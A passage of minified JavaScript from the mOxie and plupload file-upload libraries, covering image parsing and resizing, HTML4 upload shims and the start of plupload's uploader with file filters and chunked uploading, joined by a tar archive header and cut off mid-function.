o?u[i]=h[i][o]:u[i]=o)}return u}n&&(f.IFD1=f.tiffHeader+n)}return s.prototype=o.prototype,s}),e("moxie/runtime/html5/image/JPEG",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEGHeaders","moxie/runtime/html5/utils/BinaryReader","moxie/runtime/html5/image/ExifParser"],function(s,a,u,c,l){return function(e){var i,n,t,r=new c(e);if(65496!==r.SHORT(0))throw new a.ImageError(a.ImageError.WRONG_FORMAT);i=new u(e);try{n=new l(i.get("app1")[0])}catch(e){}function o(e){var t,i=0;for(e=e||r;i<=e.length();){if(65472<=(t=e.SHORT(i+=2))&&t<=65475)return i+=5,{height:e.SHORT(i),width:e.SHORT(i+=2)};t=e.SHORT(i+=2),i+=t-2}return null}t=o.call(this),s.extend(this,{type:"image/jpeg",size:r.length(),width:t&&t.width||0,height:t&&t.height||0,setExif:function(e,t){if(!n)return!1;"object"===s.typeOf(e)?s.each(e,function(e,t){n.setExif(t,e)}):n.setExif(e,t),i.set("app1",n.SEGMENT())},writeHeaders:function(){return arguments.length?i.restore(arguments[0]):i.restore(e)},stripHeaders:function(e){return i.strip(e)},purge:function(){!function(){n&&i&&r&&(n.clear(),i.purge(),r.clear(),t=i=n=r=null)}.call(this)}}),n&&(this.meta={tiff:n.TIFF(),exif:n.EXIF(),gps:n.GPS(),thumb:function(){var e,t,i=n.thumb();if(i&&(e=new c(i),t=o(e),e.clear(),t))return t.data=i,t;return null}()})}}),e("moxie/runtime/html5/image/PNG",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/html5/utils/BinaryReader"],function(a,u,c){return function(e){for(var t,r=new c(e),i=0,n=0,o=[35152,20039,3338,6666],n=0;n<o.length;n++,i+=2)if(o[n]!=r.SHORT(i))throw new a.ImageError(a.ImageError.WRONG_FORMAT);function s(){r&&(r.clear(),e=t=r=null)}t=function(){var e=function(e){var t,i,n;return t=r.LONG(e),i=r.STRING(e+=4,4),n=e+=4,e=r.LONG(e+t),{length:t,type:i,start:n,CRC:e}}.call(this,8);return"IHDR"==e.type?(e=e.start,{width:r.LONG(e),height:r.LONG(e+=4)}):null}.call(this),u.extend(this,{type:"image/png",size:r.length(),width:t.width,height:t.height,purge:function(){s.call(this)}}),s.call(this)}}),e("moxie/runtime/html5/image/ImageInfo",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/html5/image/JPEG","moxie/runtime/html5/image/PNG"],function(n,r,o,s){return function(t){var i=[o,s],e=function(){for(var e=0;e<i.length;e++)try{return new i[e](t)}catch(e){}throw new r.ImageError(r.ImageError.WRONG_FORMAT)}();n.extend(this,{type:"",size:0,width:0,height:0,setExif:function(){},writeHeaders:function(e){return e},stripHeaders:function(e){return e},purge:function(){t=null}}),n.extend(this,e),this.purge=function(){e.purge(),e=null}}}),e("moxie/runtime/html5/image/MegaPixel",[],function(){function R(e){var t,i=e.naturalWidth;return 1048576<i*e.naturalHeight&&((t=document.createElement("canvas")).width=t.height=1,(t=t.getContext("2d")).drawImage(e,1-i,0),0===t.getImageData(0,0,1,1).data[3])}return{isSubsampled:R,renderTo:function(e,t,i){for(var n=e.naturalWidth,r=e.naturalHeight,o=i.width,s=i.height,a=i.x||0,u=i.y||0,c=t.getContext("2d"),l=(R(e)&&(n/=2,r/=2),1024),d=document.createElement("canvas"),m=(d.width=d.height=l,d.getContext("2d")),h=function(e,t){var i=document.createElement("canvas"),n=(i.width=1,i.height=t,i.getContext("2d")),r=(n.drawImage(e,0,0),n.getImageData(0,0,1,t).data),o=0,s=t,a=t;for(;o<a;)0===r[4*(a-1)+3]?s=a:o=a,a=s+o>>1;i=null;e=a/t;return 0==e?1:e}(e,r),f=0;f<r;){for(var p=r<f+l?r-f:l,g=0;g<n;){var x=n<g+l?n-g:l,E=(m.clearRect(0,0,l,l),m.drawImage(e,-g,-f),g*o/n+a<<0),y=Math.ceil(x*o/n),w=f*s/r/h+u<<0,v=Math.ceil(p*s/r/h);c.drawImage(d,0,0,x,p,E,w,y,v),g+=l}f+=l}}}}),e("moxie/runtime/html5/image/Image",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/runtime/html5/image/ImageInfo","moxie/runtime/html5/image/MegaPixel","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,g,d,x,t,E,y,w,v,R){return e.Image=function(){var i,n,m,r,o,s=this,h=!1,f=!0;function p(){if(m||i)return m||i;throw new d.ImageError(d.DOMException.INVALID_STATE_ERR)}function a(e){return x.atob(e.substring(e.indexOf("base64,")+7))}function u(e){var t=this;(i=new Image).onerror=function(){l.call(this),t.trigger("error",d.ImageError.WRONG_FORMAT)},i.onload=function(){t.trigger("load")},i.src="data:"==e.substr(0,5)?e:"data:"+(o.type||"")+";base64,"+x.btoa(e)}function c(e,t,i,n){var r,o,s,a=0,u=0;if(f=n,o=this.meta&&this.meta.tiff&&this.meta.tiff.Orientation||1,-1!==g.inArray(o,[5,6,7,8])&&(s=e,e=t,t=s),s=p(),1<(r=i?(e=Math.min(e,s.width),t=Math.min(t,s.height),Math.max(e/s.width,t/s.height)):Math.min(e/s.width,t/s.height))&&!i&&n)this.trigger("Resize");else{if(m=m||document.createElement("canvas"),n=Math.round(s.width*r),r=Math.round(s.height*r),i?(m.width=e,m.height=t,e<n&&(a=Math.round((n-e)/2)),t<r&&(u=Math.round((r-t)/2))):(m.width=n,m.height=r),!f){var c=m.width,l=m.height,i=o;switch(i){case 5:case 6:case 7:case 8:m.width=l,m.height=c;break;default:m.width=c,m.height=l}var d=m.getContext("2d");switch(i){case 2:d.translate(c,0),d.scale(-1,1);break;case 3:d.translate(c,l),d.rotate(Math.PI);break;case 4:d.translate(0,l),d.scale(1,-1);break;case 5:d.rotate(.5*Math.PI),d.scale(1,-1);break;case 6:d.rotate(.5*Math.PI),d.translate(0,-l);break;case 7:d.rotate(.5*Math.PI),d.translate(c,-l),d.scale(-1,1);break;case 8:d.rotate(-.5*Math.PI),d.translate(-c,0)}}!function(e,t,i,n,r,o){"iOS"===R.OS?w.renderTo(e,t,{width:r,height:o,x:i,y:n}):t.getContext("2d").drawImage(e,i,n,r,o)}.call(this,s,m,-a,-u,n,r),this.width=m.width,this.height=m.height,h=!0,this.trigger("Resize")}}function l(){n&&(n.purge(),n=null),r=i=m=o=null,h=!1}g.extend(this,{loadFromBlob:function(e){var t=this,i=t.getRuntime(),n=!(1<arguments.length)||arguments[1];if(!i.can("access_binary"))throw new d.RuntimeError(d.RuntimeError.NOT_SUPPORTED_ERR);(o=e).isDetached()?(r=e.getSource(),u.call(this,r)):function(e,t){var i,n=this;{if(!window.FileReader)return t(e.getAsDataURL());(i=new FileReader).onload=function(){t(this.result)},i.onerror=function(){n.trigger("error",d.ImageError.WRONG_FORMAT)},i.readAsDataURL(e)}}.call(this,e.getSource(),function(e){n&&(r=a(e)),u.call(t,e)})},loadFromImage:function(e,t){this.meta=e.meta,o=new E(null,{name:e.name,size:e.size,type:e.type}),u.call(this,t?r=e.getAsBinaryString():e.getAsDataURL())},getInfo:function(){var e=this.getRuntime();return!n&&r&&e.can("access_image_binary")&&(n=new y(r)),!(e={width:p().width||0,height:p().height||0,type:o.type||v.getFileMime(o.name),size:r&&r.length||o.size||0,name:o.name||"",meta:n&&n.meta||this.meta||{}}).meta||!e.meta.thumb||e.meta.thumb.data instanceof t||(e.meta.thumb.data=new t(null,{type:"image/jpeg",data:e.meta.thumb.data})),e},downsize:function(){c.apply(this,arguments)},getAsCanvas:function(){return m&&(m.id=this.uid+"_canvas"),m},getAsBlob:function(e,t){return e!==this.type&&c.call(this,this.width,this.height,!1),new E(null,{name:o.name||"",type:e,data:s.getAsBinaryString.call(this,e,t)})},getAsDataURL:function(e){var t=arguments[1]||90;if(!h)return i.src;if("image/jpeg"!==e)return m.toDataURL("image/png");try{return m.toDataURL("image/jpeg",t/100)}catch(e){return m.toDataURL("image/jpeg")}},getAsBinaryString:function(e,t){if(!h)return r=r||a(s.getAsDataURL(e,t));if("image/jpeg"!==e)r=a(s.getAsDataURL(e,t));else{var i;t=t||90;try{i=m.toDataURL("image/jpeg",t/100)}catch(e){i=m.toDataURL("image/jpeg")}r=a(i),n&&(r=n.stripHeaders(r),f&&(n.meta&&n.meta.exif&&n.setExif({PixelXDimension:this.width,PixelYDimension:this.height}),r=n.writeHeaders(r)),n.purge(),n=null)}return h=!1,r},destroy:function(){s=null,l.call(this),this.getRuntime().getShim().removeInstance(this.uid)}})}}),e("moxie/runtime/flash/Runtime",[],function(){return{}}),e("moxie/runtime/silverlight/Runtime",[],function(){return{}}),e("moxie/runtime/html4/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(o,e,s,a){var u={};return s.addConstructor("html4",function(e){var t,i=this,n=s.capTest,r=s.capTrue;s.call(this,e,"html4",{access_binary:n(window.FileReader||window.File&&File.getAsDataURL),access_image_binary:!1,display_media:n(u.Image&&(a.can("create_canvas")||a.can("use_data_uri_over32kb"))),do_cors:!1,drag_and_drop:!1,filter_by_extension:n("Chrome"===a.browser&&a.verComp(a.version,28,">=")||"IE"===a.browser&&a.verComp(a.version,10,">=")||"Safari"===a.browser&&a.verComp(a.version,7,">=")),resize_image:function(){return u.Image&&i.can("access_binary")&&a.can("create_canvas")},report_upload_progress:!1,return_response_headers:!1,return_response_type:function(e){return!("json"!==e||!window.JSON)||!!~o.inArray(e,["text","document",""])},return_status_code:function(e){return!o.arrayDiff(e,[200,404])},select_file:function(){return a.can("use_fileinput")},select_multiple:!1,send_binary_string:!1,send_custom_headers:!1,send_multipart:!0,slice_blob:!1,stream_upload:function(){return i.can("select_file")},summon_file_dialog:function(){return i.can("select_file")&&("Firefox"===a.browser&&a.verComp(a.version,4,">=")||"Opera"===a.browser&&a.verComp(a.version,12,">=")||"IE"===a.browser&&a.verComp(a.version,10,">=")||!!~o.inArray(a.browser,["Chrome","Safari"]))},upload_filesize:r,use_http_method:function(e){return!o.arrayDiff(e,["GET","POST"])}}),o.extend(this,{init:function(){this.trigger("Init")},destroy:(t=this.destroy,function(){t.call(i),t=i=null})}),o.extend(this.getShim(),u)}),u}),e("moxie/runtime/html4/file/FileInput",["moxie/runtime/html4/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,d,m,h,f,s,p){return e.FileInput=function(){var a,u,c=[];function l(){var e,t,i,n=this,r=n.getRuntime(),o=m.guid("uid_"),s=r.getShimContainer();a&&(e=h.get(a+"_form"))&&m.extend(e.style,{top:"100%"}),(t=document.createElement("form")).setAttribute("id",o+"_form"),t.setAttribute("method","post"),t.setAttribute("enctype","multipart/form-data"),t.setAttribute("encoding","multipart/form-data"),m.extend(t.style,{overflow:"hidden",position:"absolute",top:0,left:0,width:"100%",height:"100%"}),(i=document.createElement("input")).setAttribute("id",o),i.setAttribute("type","file"),i.setAttribute("name",u.name||"Filedata"),i.setAttribute("accept",c.join(",")),m.extend(i.style,{fontSize:"999px",opacity:0}),t.appendChild(i),s.appendChild(t),m.extend(i.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),"IE"===p.browser&&p.verComp(p.version,10,"<")&&m.extend(i.style,{filter:"progid:DXImageTransform.Microsoft.Alpha(opacity=0)"}),i.onchange=function(){var e;if(this.value){if(this.files){if(0===(e=this.files[0]).size)return void t.parentNode.removeChild(t)}else e={name:this.value};e=new d(r.uid,e),this.onchange=function(){},l.call(n),n.files=[e],i.setAttribute("id",e.uid),t.setAttribute("id",e.uid+"_form"),n.trigger("change"),i=t=null}},r.can("summon_file_dialog")&&(e=h.get(u.browse_button),f.removeEvent(e,"click",n.uid),f.addEvent(e,"click",function(e){i&&!i.disabled&&i.click(),e.preventDefault()},n.uid)),a=o}m.extend(this,{init:function(e){var t,i,n,r=this,o=r.getRuntime();c=(u=e).accept.mimes||s.extList2mimes(e.accept,o.can("filter_by_extension")),t=o.getShimContainer(),n=h.get(e.browse_button),o.can("summon_file_dialog")&&("static"===h.getStyle(n,"position")&&(n.style.position="relative"),i=parseInt(h.getStyle(n,"z-index"),10)||1,n.style.zIndex=i,t.style.zIndex=i-1),i=o.can("summon_file_dialog")?n:t,f.addEvent(i,"mouseover",function(){r.trigger("mouseenter")},r.uid),f.addEvent(i,"mouseout",function(){r.trigger("mouseleave")},r.uid),f.addEvent(i,"mousedown",function(){r.trigger("mousedown")},r.uid),f.addEvent(h.get(e.container),"mouseup",function(){r.trigger("mouseup")},r.uid),l.call(this),t=null,r.trigger({type:"ready",async:!0})},disable:function(e){var t;(t=h.get(a))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),e=e.getShimContainer();f.removeAllEvents(e,this.uid),f.removeAllEvents(u&&h.get(u.container),this.uid),f.removeAllEvents(u&&h.get(u.browse_button),this.uid),e&&(e.innerHTML=""),t.removeInstance(this.uid),a=c=u=null}})}}),e("moxie/runtime/html4/file/FileReader",["moxie/runtime/html4/Runtime","moxie/runtime/html5/file/FileReader"],function(e,t){return e.FileReader=t}),e("moxie/runtime/html4/xhr/XMLHttpRequest",["moxie/runtime/html4/Runtime","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Url","moxie/core/Exceptions","moxie/core/utils/Events","moxie/file/Blob","moxie/xhr/FormData"],function(e,m,h,f,p,g,x,E){return e.XMLHttpRequest=function(){var u,c,l;function d(t){var e,i,n,r=this,o=!1;if(l){if(e=l.id.replace(/_iframe$/,""),e=h.get(e+"_form")){for(n=(i=e.getElementsByTagName("input")).length;n--;)switch(i[n].getAttribute("type")){case"hidden":i[n].parentNode.removeChild(i[n]);break;case"file":o=!0}i=[],o||e.parentNode.removeChild(e),e=null}setTimeout(function(){g.removeEvent(l,"load",r.uid),l.parentNode&&l.parentNode.removeChild(l);var e=r.getRuntime().getShimContainer();e.children.length||e.parentNode.removeChild(e),e=l=null,t()},1)}}m.extend(this,{send:function(t,e){var i,n,r,o,s=this,a=s.getRuntime();if(u=c=null,e instanceof E&&e.hasBlob()){if(o=e.getBlob(),i=o.uid,r=h.get(i),!(n=h.get(i+"_form")))throw new p.DOMException(p.DOMException.NOT_FOUND_ERR)}else i=m.guid("uid_"),(n=document.createElement("form")).setAttribute("id",i+"_form"),n.setAttribute("method",t.method),n.setAttribute("enctype","multipart/form-data"),n.setAttribute("encoding","multipart/form-data"),a.getShimContainer().appendChild(n);n.setAttribute("target",i+"_iframe"),e instanceof E&&e.each(function(e,t){var i;e instanceof x?r&&r.setAttribute("name",t):(i=document.createElement("input"),m.extend(i,{type:"hidden",name:t,value:e}),r?n.insertBefore(i,r):n.appendChild(i))}),n.setAttribute("action",t.url),e=a.getShimContainer()||document.body,(a=document.createElement("div")).innerHTML='<iframe id="'+i+'_iframe" name="'+i+'_iframe" src="javascript:""" style="display:none"></iframe>',l=a.firstChild,e.appendChild(l),g.addEvent(l,"load",function(){var e;try{e=l.contentWindow.document||l.contentDocument||window.frames[l.id].document,/^4(0[0-9]|1[0-7]|2[2346])\s/.test(e.title)?u=e.title.replace(/^(\d+).*$/,"$1"):(u=200,c=m.trim(e.body.innerHTML),s.trigger({type:"progress",loaded:c.length,total:c.length}),o&&s.trigger({type:"uploadprogress",loaded:o.size||1025,total:o.size||1025}))}catch(e){if(!f.hasSameOrigin(t.url))return void d.call(s,function(){s.trigger("error")});u=404}d.call(s,function(){s.trigger("load")})},s.uid),n.submit(),s.trigger("loadstart")},getStatus:function(){return u},getResponse:function(e){if("json"===e&&"string"===m.typeOf(c)&&window.JSON)try{return JSON.parse(c.replace(/^\s*<pre[^>]*>/,"").replace(/<\/pre>\s*$/,""))}catch(e){return null}return c},abort:function(){var e=this;l&&l.contentWindow&&(l.contentWindow.stop?l.contentWindow.stop():l.contentWindow.document.execCommand?l.contentWindow.document.execCommand("Stop"):l.src="about:blank"),d.call(this,function(){e.dispatchEvent("abort")})}})}}),e("moxie/runtime/html4/image/Image",["moxie/runtime/html4/Runtime","moxie/runtime/html5/image/Image"],function(e,t){return e.Image=t});for(var t=["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"],i=0;i<t.length;i++){for(var r=o,a=t[i],u=a.split(/[.\/]/),c=0;c<u.length-1;++c)r[u[c]]===x&&(r[u[c]]={}),r=r[u[c]];r[u[u.length-1]]=s[a]}}(this),function(e){"use strict";var r={},o=e.moxie.core.utils.Basic.inArray;!function e(t){var i,n;for(i in t)"object"!=(n=typeof t[i])||~o(i,["Exceptions","Env","Mime"])?"function"==n&&(r[i]=t[i]):e(t[i])}(e.moxie),r.Env=e.moxie.core.utils.Env,r.Mime=e.moxie.core.utils.Mime,r.Exceptions=e.moxie.core.Exceptions,e.mOxie=r,e.o||(e.o=r)}(this);����������������������������������js/plupload/plupload.min.js�������������������������������������������������������������������������0000644�����������������00000036374�14717703502�0011763 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(e,I,S){var T=e.setTimeout,D={};function w(e){var t=e.required_features,r={};function i(e,t,i){var n={chunks:"slice_blob",jpgresize:"send_binary_string",pngresize:"send_binary_string",progress:"report_upload_progress",multi_selection:"select_multiple",dragdrop:"drag_and_drop",drop_element:"drag_and_drop",headers:"send_custom_headers",urlstream_upload:"send_binary_string",canSendBinary:"send_binary",triggerDialog:"summon_file_dialog"};n[e]?r[n[e]]=t:i||(r[e]=t)}return"string"==typeof t?F.each(t.split(/\s*,\s*/),function(e){i(e,!0)}):"object"==typeof t?F.each(t,function(e,t){i(t,e)}):!0===t&&(0<e.chunk_size&&(r.slice_blob=!0),!e.resize.enabled&&e.multipart||(r.send_binary_string=!0),F.each(e,function(e,t){i(t,!!e,!0)})),e.runtimes="html5,html4",r}var t,F={VERSION:"2.1.9",STOPPED:1,STARTED:2,QUEUED:1,UPLOADING:2,FAILED:4,DONE:5,GENERIC_ERROR:-100,HTTP_ERROR:-200,IO_ERROR:-300,SECURITY_ERROR:-400,INIT_ERROR:-500,FILE_SIZE_ERROR:-600,FILE_EXTENSION_ERROR:-601,FILE_DUPLICATE_ERROR:-602,IMAGE_FORMAT_ERROR:-700,MEMORY_ERROR:-701,IMAGE_DIMENSIONS_ERROR:-702,mimeTypes:I.mimes,ua:I.ua,typeOf:I.typeOf,extend:I.extend,guid:I.guid,getAll:function(e){for(var t,i=[],n=(e="array"!==F.typeOf(e)?[e]:e).length;n--;)(t=F.get(e[n]))&&i.push(t);return i.length?i:null},get:I.get,each:I.each,getPos:I.getPos,getSize:I.getSize,xmlEncode:function(e){var t={"<":"lt",">":"gt","&":"amp",'"':"quot","'":"#39"};return e&&(""+e).replace(/[<>&\"\']/g,function(e){return t[e]?"&"+t[e]+";":e})},toArray:I.toArray,inArray:I.inArray,addI18n:I.addI18n,translate:I.translate,isEmptyObj:I.isEmptyObj,hasClass:I.hasClass,addClass:I.addClass,removeClass:I.removeClass,getStyle:I.getStyle,addEvent:I.addEvent,removeEvent:I.removeEvent,removeAllEvents:I.removeAllEvents,cleanName:function(e){for(var t=[/[\300-\306]/g,"A",/[\340-\346]/g,"a",/\307/g,"C",/\347/g,"c",/[\310-\313]/g,"E",/[\350-\353]/g,"e",/[\314-\317]/g,"I",/[\354-\357]/g,"i",/\321/g,"N",/\361/g,"n",/[\322-\330]/g,"O",/[\362-\370]/g,"o",/[\331-\334]/g,"U",/[\371-\374]/g,"u"],i=0;i<t.length;i+=2)e=e.replace(t[i],t[i+1]);return e=(e=e.replace(/\s+/g,"_")).replace(/[^a-z0-9_\-\.]+/gi,"")},buildUrl:function(e,t){var i="";return F.each(t,function(e,t){i+=(i?"&":"")+encodeURIComponent(t)+"="+encodeURIComponent(e)}),i&&(e+=(0<e.indexOf("?")?"&":"?")+i),e},formatSize:function(e){if(e===S||/\D/.test(e))return F.translate("N/A");function t(e,t){return Math.round(e*Math.pow(10,t))/Math.pow(10,t)}var i=Math.pow(1024,4);return i<e?t(e/i,1)+" "+F.translate("tb"):e>(i/=1024)?t(e/i,1)+" "+F.translate("gb"):e>(i/=1024)?t(e/i,1)+" "+F.translate("mb"):1024<e?Math.round(e/1024)+" "+F.translate("kb"):e+" "+F.translate("b")},parseSize:I.parseSizeStr,predictRuntime:function(e,t){var i=new F.Uploader(e),t=I.Runtime.thatCan(i.getOption().required_features,t||e.runtimes);return i.destroy(),t},addFileFilter:function(e,t){D[e]=t}};F.addFileFilter("mime_types",function(e,t,i){e.length&&!e.regexp.test(t.name)?(this.trigger("Error",{code:F.FILE_EXTENSION_ERROR,message:F.translate("File extension error."),file:t}),i(!1)):i(!0)}),F.addFileFilter("max_file_size",function(e,t,i){e=F.parseSize(e),void 0!==t.size&&e&&t.size>e?(this.trigger("Error",{code:F.FILE_SIZE_ERROR,message:F.translate("File size error."),file:t}),i(!1)):i(!0)}),F.addFileFilter("prevent_duplicates",function(e,t,i){if(e)for(var n=this.files.length;n--;)if(t.name===this.files[n].name&&t.size===this.files[n].size)return this.trigger("Error",{code:F.FILE_DUPLICATE_ERROR,message:F.translate("Duplicate file error."),file:t}),void i(!1);i(!0)}),F.Uploader=function(e){var u,i,n,p,t=F.guid(),l=[],h={},o=[],d=[],c=!1;function r(){var e,t,i=0;if(this.state==F.STARTED){for(t=0;t<l.length;t++)e||l[t].status!=F.QUEUED?i++:(e=l[t],this.trigger("BeforeUpload",e)&&(e.status=F.UPLOADING,this.trigger("UploadFile",e)));i==l.length&&(this.state!==F.STOPPED&&(this.state=F.STOPPED,this.trigger("StateChanged")),this.trigger("UploadComplete",l))}}function s(e){e.percent=0<e.size?Math.ceil(e.loaded/e.size*100):100,a()}function a(){var e,t;for(n.reset(),e=0;e<l.length;e++)(t=l[e]).size!==S?(n.size+=t.origSize,n.loaded+=t.loaded*t.origSize/t.size):n.size=S,t.status==F.DONE?n.uploaded++:t.status==F.FAILED?n.failed++:n.queued++;n.size===S?n.percent=0<l.length?Math.ceil(n.uploaded/l.length*100):0:(n.bytesPerSec=Math.ceil(n.loaded/((+new Date-i||1)/1e3)),n.percent=0<n.size?Math.ceil(n.loaded/n.size*100):0)}function f(){var e=o[0]||d[0];return!!e&&e.getRuntime().uid}function g(n,e){var r=this,s=0,t=[],a={runtime_order:n.runtimes,required_caps:n.required_features,preferred_caps:h};F.each(n.runtimes.split(/\s*,\s*/),function(e){n[e]&&(a[e]=n[e])}),n.browse_button&&F.each(n.browse_button,function(i){t.push(function(t){var e=new I.FileInput(F.extend({},a,{accept:n.filters.mime_types,name:n.file_data_name,multiple:n.multi_selection,container:n.container,browse_button:i}));e.onready=function(){var e=I.Runtime.getInfo(this.ruid);I.extend(r.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),multi_selection:e.can("select_multiple")}),s++,o.push(this),t()},e.onchange=function(){r.addFile(this.files)},e.bind("mouseenter mouseleave mousedown mouseup",function(e){c||(n.browse_button_hover&&("mouseenter"===e.type?I.addClass(i,n.browse_button_hover):"mouseleave"===e.type&&I.removeClass(i,n.browse_button_hover)),n.browse_button_active&&("mousedown"===e.type?I.addClass(i,n.browse_button_active):"mouseup"===e.type&&I.removeClass(i,n.browse_button_active)))}),e.bind("mousedown",function(){r.trigger("Browse")}),e.bind("error runtimeerror",function(){e=null,t()}),e.init()})}),n.drop_element&&F.each(n.drop_element,function(i){t.push(function(t){var e=new I.FileDrop(F.extend({},a,{drop_zone:i}));e.onready=function(){var e=I.Runtime.getInfo(this.ruid);I.extend(r.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),dragdrop:e.can("drag_and_drop")}),s++,d.push(this),t()},e.ondrop=function(){r.addFile(this.files)},e.bind("error runtimeerror",function(){e=null,t()}),e.init()})}),I.inSeries(t,function(){"function"==typeof e&&e(s)})}function _(e,t,i){var a=this,o=!1;function n(e,t,i){var n,r,s=u[e];switch(e){case"max_file_size":"max_file_size"===e&&(u.max_file_size=u.filters.max_file_size=t);break;case"chunk_size":(t=F.parseSize(t))&&(u[e]=t,u.send_file_name=!0);break;case"multipart":(u[e]=t)||(u.send_file_name=!0);break;case"unique_names":(u[e]=t)&&(u.send_file_name=!0);break;case"filters":"array"===F.typeOf(t)&&(t={mime_types:t}),i?F.extend(u.filters,t):u.filters=t,t.mime_types&&(u.filters.mime_types.regexp=(n=u.filters.mime_types,r=[],F.each(n,function(e){F.each(e.extensions.split(/,/),function(e){/^\s*\*\s*$/.test(e)?r.push("\\.*"):r.push("\\."+e.replace(new RegExp("["+"/^$.*+?|()[]{}\\".replace(/./g,"\\$&")+"]","g"),"\\$&"))})}),new RegExp("("+r.join("|")+")$","i")));break;case"resize":i?F.extend(u.resize,t,{enabled:!0}):u.resize=t;break;case"prevent_duplicates":u.prevent_duplicates=u.filters.prevent_duplicates=!!t;break;case"container":case"browse_button":case"drop_element":t="container"===e?F.get(t):F.getAll(t);case"runtimes":case"multi_selection":u[e]=t,i||(o=!0);break;default:u[e]=t}i||a.trigger("OptionChanged",e,t,s)}"object"==typeof e?F.each(e,function(e,t){n(t,e,i)}):n(e,t,i),i?(u.required_features=w(F.extend({},u)),h=w(F.extend({},u,{required_features:!0}))):o&&(a.trigger("Destroy"),g.call(a,u,function(e){e?(a.runtime=I.Runtime.getInfo(f()).type,a.trigger("Init",{runtime:a.runtime}),a.trigger("PostInit")):a.trigger("Error",{code:F.INIT_ERROR,message:F.translate("Init error.")})}))}function m(e,t){var i;e.settings.unique_names&&(e="part",(i=t.name.match(/\.([^.]+)$/))&&(e=i[1]),t.target_name=t.id+"."+e)}function b(r,s){var a,o=r.settings.url,u=r.settings.chunk_size,l=r.settings.max_retries,d=r.features,c=0;function f(){0<l--?T(g,1e3):(s.loaded=c,r.trigger("Error",{code:F.HTTP_ERROR,message:F.translate("HTTP Error."),file:s,response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()}))}function g(){var e,i,t,n={};s.status===F.UPLOADING&&r.state!==F.STOPPED&&(r.settings.send_file_name&&(n.name=s.target_name||s.name),e=u&&d.chunks&&a.size>u?(t=Math.min(u,a.size-c),a.slice(c,c+t)):(t=a.size,a),u&&d.chunks&&(r.settings.send_chunk_number?(n.chunk=Math.ceil(c/u),n.chunks=Math.ceil(a.size/u)):(n.offset=c,n.total=a.size)),(p=new I.XMLHttpRequest).upload&&(p.upload.onprogress=function(e){s.loaded=Math.min(s.size,c+e.loaded),r.trigger("UploadProgress",s)}),p.onload=function(){400<=p.status?f():(l=r.settings.max_retries,t<a.size?(e.destroy(),c+=t,s.loaded=Math.min(c,a.size),r.trigger("ChunkUploaded",s,{offset:s.loaded,total:a.size,response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()}),"Android Browser"===I.Env.browser&&r.trigger("UploadProgress",s)):s.loaded=s.size,e=i=null,!c||c>=a.size?(s.size!=s.origSize&&(a.destroy(),a=null),r.trigger("UploadProgress",s),s.status=F.DONE,r.trigger("FileUploaded",s,{response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()})):T(g,1))},p.onerror=function(){f()},p.onloadend=function(){this.destroy(),p=null},r.settings.multipart&&d.multipart?(p.open("post",o,!0),F.each(r.settings.headers,function(e,t){p.setRequestHeader(t,e)}),i=new I.FormData,F.each(F.extend(n,r.settings.multipart_params),function(e,t){i.append(t,e)}),i.append(r.settings.file_data_name,e),p.send(i,{runtime_order:r.settings.runtimes,required_caps:r.settings.required_features,preferred_caps:h})):(o=F.buildUrl(r.settings.url,F.extend(n,r.settings.multipart_params)),p.open("post",o,!0),p.setRequestHeader("Content-Type","application/octet-stream"),F.each(r.settings.headers,function(e,t){p.setRequestHeader(t,e)}),p.send(e,{runtime_order:r.settings.runtimes,required_caps:r.settings.required_features,preferred_caps:h})))}s.loaded&&(c=s.loaded=u?u*Math.floor(s.loaded/u):0),a=s.getSource(),r.settings.resize.enabled&&function(e,t){if(e.ruid){e=I.Runtime.getInfo(e.ruid);if(e)return e.can(t)}}(a,"send_binary_string")&&~I.inArray(a.type,["image/jpeg","image/png"])?function(t,e,i){var n=new I.Image;try{n.onload=function(){if(e.width>this.width&&e.height>this.height&&e.quality===S&&e.preserve_headers&&!e.crop)return this.destroy(),i(t);n.downsize(e.width,e.height,e.crop,e.preserve_headers)},n.onresize=function(){i(this.getAsBlob(t.type,e.quality)),this.destroy()},n.onerror=function(){i(t)},n.load(t)}catch(e){i(t)}}.call(this,a,r.settings.resize,function(e){a=e,s.size=e.size,g()}):g()}function R(e,t){s(t)}function E(e){if(e.state==F.STARTED)i=+new Date;else if(e.state==F.STOPPED)for(var t=e.files.length-1;0<=t;t--)e.files[t].status==F.UPLOADING&&(e.files[t].status=F.QUEUED,a())}function y(){p&&p.abort()}function v(e){a(),T(function(){r.call(e)},1)}function z(e,t){t.code===F.INIT_ERROR?e.destroy():t.code===F.HTTP_ERROR&&(t.file.status=F.FAILED,s(t.file),e.state==F.STARTED&&(e.trigger("CancelUpload"),T(function(){r.call(e)},1)))}function 